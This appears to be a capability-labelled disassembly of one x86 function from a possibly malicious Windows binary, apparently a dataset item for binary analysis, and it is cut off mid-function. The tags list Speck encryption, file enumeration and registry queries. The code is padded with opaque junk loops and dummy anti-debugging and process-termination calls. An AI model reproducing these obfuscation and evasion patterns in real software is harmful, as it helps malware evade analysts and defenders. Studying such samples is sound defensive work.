Function at 0x46a85d
Capabilities:
Accept command line arguments
Check os version
Create pipe
Encrypt data using speck
Enumerate files on windows
Get common file path
Identify system language via api
Query or enumerate registry key
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ad78d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x26d8
call fcn.0049cf80
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x12d4], 0x4cca
mov dword [ebp - 0x18c], 0x60477862
push 1
lea ecx, [ebp - 0x221c]
call fcn.0042704d
mov dword [ebp - 0x52c], 0
jmp 0x46a8c0
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 1
jge 0x46a8e2
push dword [ebp - 0x52c]
lea ecx, [ebp - 0x221c]
call fcn.0042713b
mov dword [eax], 0x11151c
jmp 0x46a8b3
mov dword [ebp - 0x18c], 0xffffffe7
jmp 0x46a8fb
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0xfffffffa
jg 0x46a9a4
mov dword [ebp - 0x3ec], 0xfffffffe
mov dword [ebp - 0x3ec], 1
jmp 0x46a92b
mov eax, dword [ebp - 0x3ec]
dec eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0xfffffffa
jge 0x46a97c
mov dword [ebp - 0x3f0], 0xffffffff
mov dword [ebp - 0x3f0], 0xfffffff8
jmp 0x46a957
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x14
jl 0x46a97a
mov byte [ebp - 0x1c3], 0
movzx eax, byte [ebp - 0x1c3]
test eax, eax
je 0x46a978
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
jmp 0x46a94a
jmp 0x46a91e
mov byte [ebp - 0x1cc], 0
movzx eax, byte [ebp - 0x1cc]
test eax, eax
je 0x46a99f
push 0
push 0x12c2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
jmp 0x46a8ee
mov dword [ebp - 0x18c], 0
jmp 0x46a9bd
mov eax, dword [ebp - 0x18c]
dec eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
jl 0x46aa15
mov dword [ebp - 0x628], 8
mov dword [ebp - 0x628], 0
jmp 0x46a9e9
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0
jg 0x46aa13
mov byte [ebp - 0x1ce], 0
movzx eax, byte [ebp - 0x1ce]
test eax, eax
je 0x46aa11
push 0x1638
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x46a9dc
jmp 0x46a9b0
lea ecx, [ebp - 0x221c]
call fcn.0042711f
mov dword [ebp - 0x17c], 0x60477862
push 1
lea ecx, [ebp - 0x222c]
call fcn.0042704d
mov dword [ebp - 0x3f8], 0
jmp 0x46aa50
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 1
jge 0x46aa72
push dword [ebp - 0x3f8]
lea ecx, [ebp - 0x222c]
call fcn.0042713b
mov dword [eax], 0x11151c
jmp 0x46aa43
mov dword [ebp - 0x17c], 0xffffffe7
jmp 0x46aa8b
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0xfffffffa
jg 0x46ab34
mov dword [ebp - 0x7d4], 0xfffffffe
mov dword [ebp - 0x7d4], 1
jmp 0x46aabb
mov eax, dword [ebp - 0x7d4]
dec eax
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x7d4], 0xfffffffa
jge 0x46ab0c
mov dword [ebp - 0x400], 0xffffffff
mov dword [ebp - 0x400], 0xfffffff8
jmp 0x46aae7
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x14
jl 0x46ab0a
mov byte [ebp - 0x1d0], 0
movzx eax, byte [ebp - 0x1d0]
test eax, eax
je 0x46ab08
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
jmp 0x46aada
jmp 0x46aaae
mov byte [ebp - 0x1d2], 0
movzx eax, byte [ebp - 0x1d2]
test eax, eax
je 0x46ab2f
push 0
push 0x12c2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
jmp 0x46aa7e
mov dword [ebp - 0x17c], 0
jmp 0x46ab4d
mov eax, dword [ebp - 0x17c]
dec eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jl 0x46aba5
mov dword [ebp - 0x630], 8
mov dword [ebp - 0x630], 0
jmp 0x46ab79
mov eax, dword [ebp - 0x630]
inc eax
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0
jg 0x46aba3
mov byte [ebp - 0x1d4], 0
movzx eax, byte [ebp - 0x1d4]
test eax, eax
je 0x46aba1
push 0x1638
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x46ab6c
jmp 0x46ab40
lea ecx, [ebp - 0x222c]
call fcn.0042711f
push 2
lea ecx, [ebp - 0x223c]
call fcn.0042704d
mov dword [ebp - 0x74c], 1
mov dword [ebp - 0x408], 0
jmp 0x46abe0
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 2
jge 0x46ac02
push dword [ebp - 0x408]
lea ecx, [ebp - 0x223c]
call fcn.0042713b
mov dword [eax], 3
jmp 0x46abd3
mov dword [ebp - 0x74c], 1
jmp 0x46ac1b
mov eax, dword [ebp - 0x74c]
dec eax
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 0
jl 0x46ad08
push 3
lea ecx, [ebp - 0x1a0c]
call fcn.0042704d
mov dword [ebp - 0x410], 0
jmp 0x46ac4e
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 3
jge 0x46ac70
push dword [ebp - 0x410]
lea ecx, [ebp - 0x1a0c]
call fcn.0042713b
mov dword [eax], 0x5f1dbecc
jmp 0x46ac41
push 2
lea ecx, [ebp - 0x1a0c]
call fcn.0042713b
mov dword [eax], 1
jmp 0x46aca9
push 2
lea ecx, [ebp - 0x1a0c]
call fcn.0042713b
mov dword [ebp - 0xb18], eax
mov eax, dword [ebp - 0xb18]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xb18]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x1a0c]
call fcn.0042713b
cmp dword [eax], 0
jl 0x46acf8
mov byte [ebp - 0x1d6], 0
movzx eax, byte [ebp - 0x1d6]
test eax, eax
je 0x46acd5
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov byte [ebp - 0x1d8], 0
movzx eax, byte [ebp - 0x1d8]
test eax, eax
je 0x46acf6
push 0
push 0
push 0x23f9
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
jmp 0x46ac85
lea ecx, [ebp - 0x1a0c]
call fcn.0042711f
jmp 0x46ac0e
lea ecx, [ebp - 0x223c]
call fcn.0042711f
mov dword [ebp - 0x1964], str.zbslxgtl_gcxsn_qhhhs_snfj_iwl_nqhs_gtlrziur_gfe
push 2
lea ecx, [ebp - 0x224c]
call fcn.0042704d
mov dword [ebp - 0x418], 1
mov dword [ebp - 0x638], 0
jmp 0x46ad4d
mov eax, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 2
jge 0x46ad6f
push dword [ebp - 0x638]
lea ecx, [ebp - 0x224c]
call fcn.0042713b
mov dword [eax], 3
jmp 0x46ad40
mov dword [ebp - 0x418], 1
jmp 0x46ad88
mov eax, dword [ebp - 0x418]
dec eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
jl 0x46ae75
push 3
lea ecx, [ebp - 0x1a1c]
call fcn.0042704d
mov dword [ebp - 0x81c], 0
jmp 0x46adbb
mov eax, dword [ebp - 0x81c]
inc eax
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 3
jge 0x46addd
push dword [ebp - 0x81c]
lea ecx, [ebp - 0x1a1c]
call fcn.0042713b
mov dword [eax], 0x5f1dbecc
jmp 0x46adae
push 2
lea ecx, [ebp - 0x1a1c]
call fcn.0042713b
mov dword [eax], 1
jmp 0x46ae16
push 2
lea ecx, [ebp - 0x1a1c]
call fcn.0042713b
mov dword [ebp - 0x1450], eax
mov eax, dword [ebp - 0x1450]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1450]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x1a1c]
call fcn.0042713b
cmp dword [eax], 0
jl 0x46ae65
mov byte [ebp - 0x22e], 0
movzx eax, byte [ebp - 0x22e]
test eax, eax
je 0x46ae42
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov byte [ebp - 0x1da], 0
movzx eax, byte [ebp - 0x1da]
test eax, eax
je 0x46ae63
push 0
push 0
push 0x23f9
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
jmp 0x46adf2
lea ecx, [ebp - 0x1a1c]
call fcn.0042711f
jmp 0x46ad7b
lea ecx, [ebp - 0x224c]
call fcn.0042711f
mov dword [ebp - 0x5c], 0xa48bbca6
push 1
lea ecx, [ebp - 0x1a3c]
call fcn.0042704d
mov dword [ebp - 0x31c], 0xfffffff7
mov dword [ebp - 0x164], 0
jmp 0x46aeb7
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 1
jge 0x46aed9
push dword [ebp - 0x164]
lea ecx, [ebp - 0x1a3c]
call fcn.0042713b
mov dword [eax], 0xfffffff7
jmp 0x46aeaa
mov dword [ebp - 0x164], 0
jmp 0x46aef2
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 2
jge 0x46af0e
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0x1e80], 0xe70d5dd2
jmp 0x46aee5
mov dword [ebp - 0x5c], 0
jmp 0x46af1e
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xfffffff3
jge 0x46b35d
mov dword [ebp - 0x1fc], 0xfffffff9
push 1
lea ecx, [ebp - 0x1a2c]
call fcn.0042704d
mov dword [ebp - 0x324], 1
mov dword [ebp - 0x16f0], 1
mov dword [ebp - 0x420], 0
jmp 0x46af6c
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 1
jge 0x46af8b
push dword [ebp - 0x420]
lea ecx, [ebp - 0x1a2c]
call fcn.0042713b
and dword [eax], 0
jmp 0x46af5f
mov dword [ebp - 0x1fc], 0
jmp 0x46afa4
mov eax, dword [ebp - 0x1fc]
dec eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
jl 0x46b34d
mov dword [ebp - 0x94], 0xaeb9ae77
mov dword [ebp - 0x19c], 0xc9a130df
mov dword [ebp - 0x94], 0
jmp 0x46afde
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jg 0x46b12f
mov dword [ebp - 0x19fc], 6
mov eax, dword [ebp - 0x19fc]
mov dword [ebp - 0x1e50], eax
cmp dword [ebp - 0x1fc], 5
jg 0x46b016
mov dword [ebp - 0x1458], 1
jmp 0x46b01d
and dword [ebp - 0x1458], 0
mov eax, dword [ebp - 0x1fc]
cmp dword [ebp - 0x1458], eax
jle 0x46b037
mov dword [ebp - 0x1460], 1
jmp 0x46b03e
and dword [ebp - 0x1460], 0
push 0
lea ecx, [ebp - 0x1a2c]
call fcn.0042713b
mov ecx, dword [ebp - 0x1460]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x94]
jl 0x46b067
mov dword [ebp - 0x1468], 1
jmp 0x46b06e
and dword [ebp - 0x1468], 0
mov eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x1468]
je 0x46b088
mov dword [ebp - 0x1470], 1
jmp 0x46b08f
and dword [ebp - 0x1470], 0
push dword [ebp - 0x1fc]
lea ecx, [ebp - 0x1a3c]
call fcn.0042713b
mov dword [ebp - 0x1478], eax
push dword [ebp - 0x94]
lea ecx, [ebp - 0x1a3c]
call fcn.0042713b
mov ecx, dword [ebp - 0x1478]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1470]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x1478]
cmp dword [ecx], eax
je 0x46b0e9
mov dword [ebp - 0x1480], 1
jmp 0x46b0f0
and dword [ebp - 0x1480], 0
cmp dword [ebp - 0x1480], 0
je 0x46b117
push 0
lea ecx, [ebp - 0x1a2c]
call fcn.0042713b
cmp dword [eax], 0
je 0x46b117
mov dword [ebp - 0x1488], 1
jmp 0x46b11e
and dword [ebp - 0x1488], 0
mov eax, dword [ebp - 0x1488]
mov dword [ebp - 0x324], eax
jmp 0x46afd1
mov dword [ebp - 0x19c], 0xffffffeb
jmp 0x46b148
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x1a
je 0x46b348
mov dword [ebp - 0x374], 1
mov dword [ebp - 0x324], 0
jmp 0x46b178
mov eax, dword [ebp - 0x324]
dec eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0xfffffffe
jne 0x46b330
mov dword [ebp - 0x314], 1
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x2080], eax
cmp dword [ebp - 0x5c], 0
jne 0x46b2cf
cmp dword [ebp - 0x31c], 9
jb 0x46b1ba
mov dword [ebp - 0x1490], 1
jmp 0x46b1c1
and dword [ebp - 0x1490], 0
cmp dword [ebp - 0x1490], 0x97e65fbc
jbe 0x46b1d9
mov dword [ebp - 0x1498], 1
jmp 0x46b1e0
and dword [ebp - 0x1498], 0
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x1498]
jle 0x46b1fd
cmp dword [ebp - 0x374], 0
jne 0x46b1fd
and dword [ebp - 0x14a0], 0
jmp 0x46b207
mov dword [ebp - 0x14a0], 1
cmp dword [ebp - 0x14a0], 0x61e7
jl 0x46b21f
mov dword [ebp - 0x16d8], 1
jmp 0x46b226
and dword [ebp - 0x16d8], 0
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x2300], eax
push 0
lea ecx, [ebp - 0x1a2c]
call fcn.0042713b
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x2088], eax
cmp dword [ebp - 0x374], 0x56a759f3
jge 0x46b260
mov dword [ebp - 0x14a8], 1
jmp 0x46b267
and dword [ebp - 0x14a8], 0
mov eax, dword [ebp - 0x14a8]
sub eax, dword [ebp - 0x94]
imul eax, dword [ebp - 0x374]
sub eax, 9
jne 0x46b291
cmp dword [ebp - 0x374], 0
jne 0x46b291
and dword [ebp - 0x14b0], 0
jmp 0x46b29b
mov dword [ebp - 0x14b0], 1
cmp dword [ebp - 0x14b0], 0xf88d
jl 0x46b2b3
mov dword [ebp - 0x14b8], 1
jmp 0x46b2ba
and dword [ebp - 0x14b8], 0
cmp dword [ebp - 0x14b8], 0xbb265d63
ja 0x46b2cf
and dword [ebp - 0x16e0], 0
jmp 0x46b2d9
mov dword [ebp - 0x16e0], 1
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x21e0], eax
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x314], 0xffffffed
jmp 0x46b30a
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0xb
je 0x46b32b
mov dword [ebp - 0x16e8], 0x435d7d23
mov eax, dword [ebp - 0x16e8]
mov dword [ebp - 0x16f0], eax
jmp 0x46b2fd
jmp 0x46b16b
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x374]
mov dword [ebp + eax - 0x1e80], ecx
jmp 0x46b13b
jmp 0x46af97
lea ecx, [ebp - 0x1a2c]
call fcn.0042711f
jmp 0x46af17
mov dword [ebp - 0x31c], 0
jmp 0x46b376
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0
jg 0x46b3ad
mov dword [ebp - 0x5c], 0
jmp 0x46b38f
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x46b3ab
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x1a3c]
call fcn.0042713b
mov dword [eax], 0xe64bfce9
jmp 0x46b388
jmp 0x46b369
lea ecx, [ebp - 0x1a3c]
call fcn.0042711f
cmp dword [ebp - 0x12d4], 0x4fc7
jle 0x46b43b
and dword [ebp - 0x640], 0
jmp 0x46b3da
mov eax, dword [ebp - 0x640]
inc eax
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x640], 0x804f
jge 0x46b43b
and dword [ebp - 0x428], 0
jmp 0x46b3fc
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x6769
jge 0x46b439
mov eax, dword [ebp - 0x640]
or eax, dword [ebp - 0x428]
cdq
mov dword [ebp - 0x170c], eax
mov dword [ebp - 0x1708], edx
push dword [ebp - 0x1708]
push dword [ebp - 0x170c]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x46b3ef
jmp 0x46b3cd
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x70], 0
push 1
lea ecx, [ebp - 0x9ac]
call fcn.0042704d
mov dword [ebp - 0x1904], 0
mov dword [ebp - 0x2090], 1
mov dword [ebp - 0x2370], 0x7d4e0d3b
mov dword [ebp - 0x2098], 0xb0fa
mov dword [ebp - 0x21e8], 0xfffffff6
mov dword [ebp - 0x20a0], 0x64f5e99a
mov dword [ebp - 0x14b4], 0x15fbe5b5
mov dword [ebp - 0x754], 0
jmp 0x46b4b5
mov eax, dword [ebp - 0x754]
inc eax
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 1
jge 0x46b4d7
push dword [ebp - 0x754]
lea ecx, [ebp - 0x9ac]
call fcn.0042713b
mov dword [eax], 0xbfc75daa
jmp 0x46b4a8
cmp dword [ebp - 0x1c], 0
je 0x46b62c
mov dword [ebp - 0x70], 1
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x70], eax
je 0x46b4fc
mov dword [ebp - 0x14c0], 1
jmp 0x46b503
and dword [ebp - 0x14c0], 0
cmp dword [ebp - 0x14c0], 0
jb 0x46b518
mov dword [ebp - 0x14c8], 1
jmp 0x46b51f
and dword [ebp - 0x14c8], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x14c8], eax
jg 0x46b53b
or eax, 0xffffffff
je 0x46b53b
mov dword [ebp - 0x14d0], 1
jmp 0x46b542
and dword [ebp - 0x14d0], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x14d0], eax
jne 0x46b559
mov dword [ebp - 0x14d8], 1
jmp 0x46b560
and dword [ebp - 0x14d8], 0
cmp dword [ebp - 0x14d8], 0xfffffffe
jg 0x46b57a
xor eax, eax
inc eax
je 0x46b57a
mov dword [ebp - 0x14e0], 1
jmp 0x46b581
and dword [ebp - 0x14e0], 0
imul eax, dword [ebp - 0x14e0], 0x101e
add eax, 0xddbf
cmp dword [ebp - 0x70], eax
jl 0x46b5a1
mov dword [ebp - 0x14e8], 1
jmp 0x46b5a8
and dword [ebp - 0x14e8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x14e8], eax
je 0x46b5bf
mov dword [ebp - 0x14f0], 1
jmp 0x46b5c6
and dword [ebp - 0x14f0], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x14f0], eax
jle 0x46b5dd
mov dword [ebp - 0x14f8], 1
jmp 0x46b5e4
and dword [ebp - 0x14f8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x14f8], eax
jl 0x46b5fb
mov dword [ebp - 0x93c], 1
jmp 0x46b602
and dword [ebp - 0x93c], 0
push 0
lea ecx, [ebp - 0x9ac]
call fcn.0042713b
mov ecx, dword [ebp - 0x93c]
mov dword [eax], ecx
cmp dword [ebp - 0x93c], 0
je 0x46b62c
mov dword [ebp - 0x1584], 1
jmp 0x46b633
and dword [ebp - 0x1584], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x70], 0x867a7bf7
jbe 0x46b943
mov dword [ebp - 0x990], 0x4f57b17b
mov dword [ebp - 0x1448], 0x126315bf
mov dword [ebp - 0x16f8], 0x4eca
mov dword [ebp - 0x70], 0
jmp 0x46b671
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x46b941
mov dword [ebp - 0x430], 9
mov dword [ebp - 0x1c], 0
jmp 0x46b695
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jg 0x46b93c
mov dword [ebp - 0x12ac], 0x79ab6733
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x990]
inc eax
mov dword [ebp - 0x990], eax
mov esi, dword [ebp - 0x990]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9ac]
call fcn.0042713b
cmp esi, dword [eax]
jge 0x46b6e7
mov dword [ebp - 0xa94], 1
jmp 0x46b6ee
and dword [ebp - 0xa94], 0
push 0
lea ecx, [ebp - 0x9ac]
call fcn.0042713b
cmp dword [eax], 0xffff
jb 0x46b70f
mov dword [ebp - 0xa7c], 1
jmp 0x46b716
and dword [ebp - 0xa7c], 0
cmp dword [ebp - 0x1448], 0
je 0x46b81d
push 0
lea ecx, [ebp - 0x9ac]
call fcn.0042713b
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x46b747
push 5
pop eax
test eax, eax
jne 0x46b747
and dword [ebp - 0xfe4], 0
jmp 0x46b751
mov dword [ebp - 0xfe4], 1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9ac]
call fcn.0042713b
mov ecx, dword [ebp - 0xfe4]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x1c]
jl 0x46b779
mov dword [ebp - 0xa80], 1
jmp 0x46b780
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0x1448]
cmp dword [ebp - 0xa80], eax
jge 0x46b79a
mov dword [ebp - 0xa6c], 1
jmp 0x46b7a1
and dword [ebp - 0xa6c], 0
mov eax, dword [ebp - 0xa6c]
dec eax
cmp eax, 0x199e
jl 0x46b7c1
cmp dword [ebp - 0x16f8], 0
jne 0x46b7c1
and dword [ebp - 0x12a4], 0
jmp 0x46b7cb
mov dword [ebp - 0x12a4], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x12a4], eax
jne 0x46b7e2
mov dword [ebp - 0xa74], 1
jmp 0x46b7e9
and dword [ebp - 0xa74], 0
cmp dword [ebp - 0xa74], 0x2426
jle 0x46b801
mov dword [ebp - 0xfec], 1
jmp 0x46b808
and dword [ebp - 0xfec], 0
cmp dword [ebp - 0xfec], 0x7b8a5f0
jne 0x46b81d
and dword [ebp - 0x1700], 0
jmp 0x46b827
mov dword [ebp - 0x1700], 1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9ac]
call fcn.0042713b
cmp dword [eax], 0x88dfef28
jb 0x46b852
cmp dword [ebp - 0x430], 0
je 0x46b852
mov dword [ebp - 0x1404], 1
jmp 0x46b859
and dword [ebp - 0x1404], 0
mov eax, dword [ebp - 0xa7c]
cmp eax, dword [ebp - 0x1404]
jne 0x46b87c
mov eax, 0x486d4d4
test eax, eax
je 0x46b87c
mov dword [ebp - 0xa84], 1
jmp 0x46b883
and dword [ebp - 0xa84], 0
push 0
lea ecx, [ebp - 0x9ac]
call fcn.0042713b
mov esi, dword [ebp - 0xa84]
sub esi, dword [eax]
sub esi, dword [ebp - 0x430]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x9ac]
call fcn.0042713b
cmp esi, dword [eax]
jle 0x46b8bc
mov dword [ebp - 0xff4], 1
jmp 0x46b8c3
and dword [ebp - 0xff4], 0
cmp dword [ebp - 0xff4], 0x8f5b
jg 0x46b8db
mov dword [ebp - 0xa8c], 1
jmp 0x46b8e2
and dword [ebp - 0xa8c], 0
mov eax, dword [ebp - 0xa8c]
mov dword [ebp - 0x12ac], eax
mov eax, dword [ebp - 0x12ac]
cmp dword [ebp - 0xa94], eax
jge 0x46b908
mov dword [ebp - 0xffc], 1
jmp 0x46b90f
and dword [ebp - 0xffc], 0
cmp dword [ebp - 0xffc], 0xffffffff
je 0x46b924
mov dword [ebp - 0xa9c], 1
jmp 0x46b92b
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0xa9c]
mov dword [ebp - 0x1904], eax
jmp 0x46b68e
jmp 0x46b66a
jmp 0x46b949
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x1c], 0
jmp 0x46b959
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jg 0x46ba2c
mov dword [ebp - 0x2310], 0xbaf34c
mov dword [ebp - 0x20a8], 9
mov dword [ebp - 0x21f0], 9
mov dword [ebp - 0x20b0], 9
mov dword [ebp - 0x23a4], 0x14be5697
mov dword [ebp - 0x20b8], 0x3e8228f8
mov dword [ebp - 0x21f8], 0x6f18880a
mov dword [ebp - 0x20c0], 0xd6ffba4b
mov dword [ebp - 0x2320], 1
mov dword [ebp - 0x1d84], 0xf75fbd26
mov dword [ebp - 0x1d8c], 0xbbd88186
mov dword [ebp - 0x1d94], 3
mov dword [ebp - 0x1d9c], 0xc049d9bb
mov dword [ebp - 0x648], 0
jmp 0x46b9fe
mov eax, dword [ebp - 0x648]
inc eax
mov dword [ebp - 0x648], eax
cmp dword [ebp - 0x648], 2
jge 0x46ba1a
mov eax, dword [ebp - 0x648]
mov dword [ebp + eax*4 - 0x240c], 0xe83987ed
jmp 0x46b9f1
mov eax, dword [ebp - 0x14b4]
inc eax
mov dword [ebp - 0x14b4], eax
jmp 0x46b952
lea ecx, [ebp - 0x9ac]
call fcn.0042711f
xor ecx, ecx
call fcn.004273b8
push eax
call fcn.00481363
pop ecx
mov dword [ebp - 0x64], 0xa48bbca6
push 1
lea ecx, [ebp - 0x1a5c]
call fcn.0042704d
mov dword [ebp - 0x32c], 0xfffffff7
mov dword [ebp - 0xec], 0
jmp 0x46ba7c
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 1
jge 0x46ba9e
push dword [ebp - 0xec]
lea ecx, [ebp - 0x1a5c]
call fcn.0042713b
mov dword [eax], 0xfffffff7
jmp 0x46ba6f
mov dword [ebp - 0xec], 0
jmp 0x46bab7
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 2
jge 0x46bad3
mov eax, dword [ebp - 0xec]
mov dword [ebp + eax*4 - 0x1e8c], 0xe70d5dd2
jmp 0x46baaa
mov dword [ebp - 0x64], 0
jmp 0x46bae3
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0xfffffff3
jge 0x46bf22
mov dword [ebp - 0x204], 0xfffffff9
push 1
lea ecx, [ebp - 0x1a4c]
call fcn.0042704d
mov dword [ebp - 0x3a4], 1
mov dword [ebp - 0x192c], 1
mov dword [ebp - 0x438], 0
jmp 0x46bb31
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 1
jge 0x46bb50
push dword [ebp - 0x438]
lea ecx, [ebp - 0x1a4c]
call fcn.0042713b
and dword [eax], 0
jmp 0x46bb24
mov dword [ebp - 0x204], 0
jmp 0x46bb69
mov eax, dword [ebp - 0x204]
dec eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0
jl 0x46bf12
mov dword [ebp - 0xbc], 0xaeb9ae77
mov dword [ebp - 0x16c], 0xc9a130df
mov dword [ebp - 0xbc], 0
jmp 0x46bba3
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jg 0x46bcf4
mov dword [ebp - 0x190c], 6
mov eax, dword [ebp - 0x190c]
mov dword [ebp - 0x1da4], eax
cmp dword [ebp - 0x204], 5
jg 0x46bbdb
mov dword [ebp - 0xaa4], 1
jmp 0x46bbe2
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0x204]
cmp dword [ebp - 0xaa4], eax
jle 0x46bbfc
mov dword [ebp - 0x1004], 1
jmp 0x46bc03
and dword [ebp - 0x1004], 0
push 0
lea ecx, [ebp - 0x1a4c]
call fcn.0042713b
mov ecx, dword [ebp - 0x1004]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0xbc]
jl 0x46bc2c
mov dword [ebp - 0xaac], 1
jmp 0x46bc33
and dword [ebp - 0xaac], 0
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xaac]
je 0x46bc4d
mov dword [ebp - 0x12b4], 1
jmp 0x46bc54
and dword [ebp - 0x12b4], 0
push dword [ebp - 0x204]
lea ecx, [ebp - 0x1a5c]
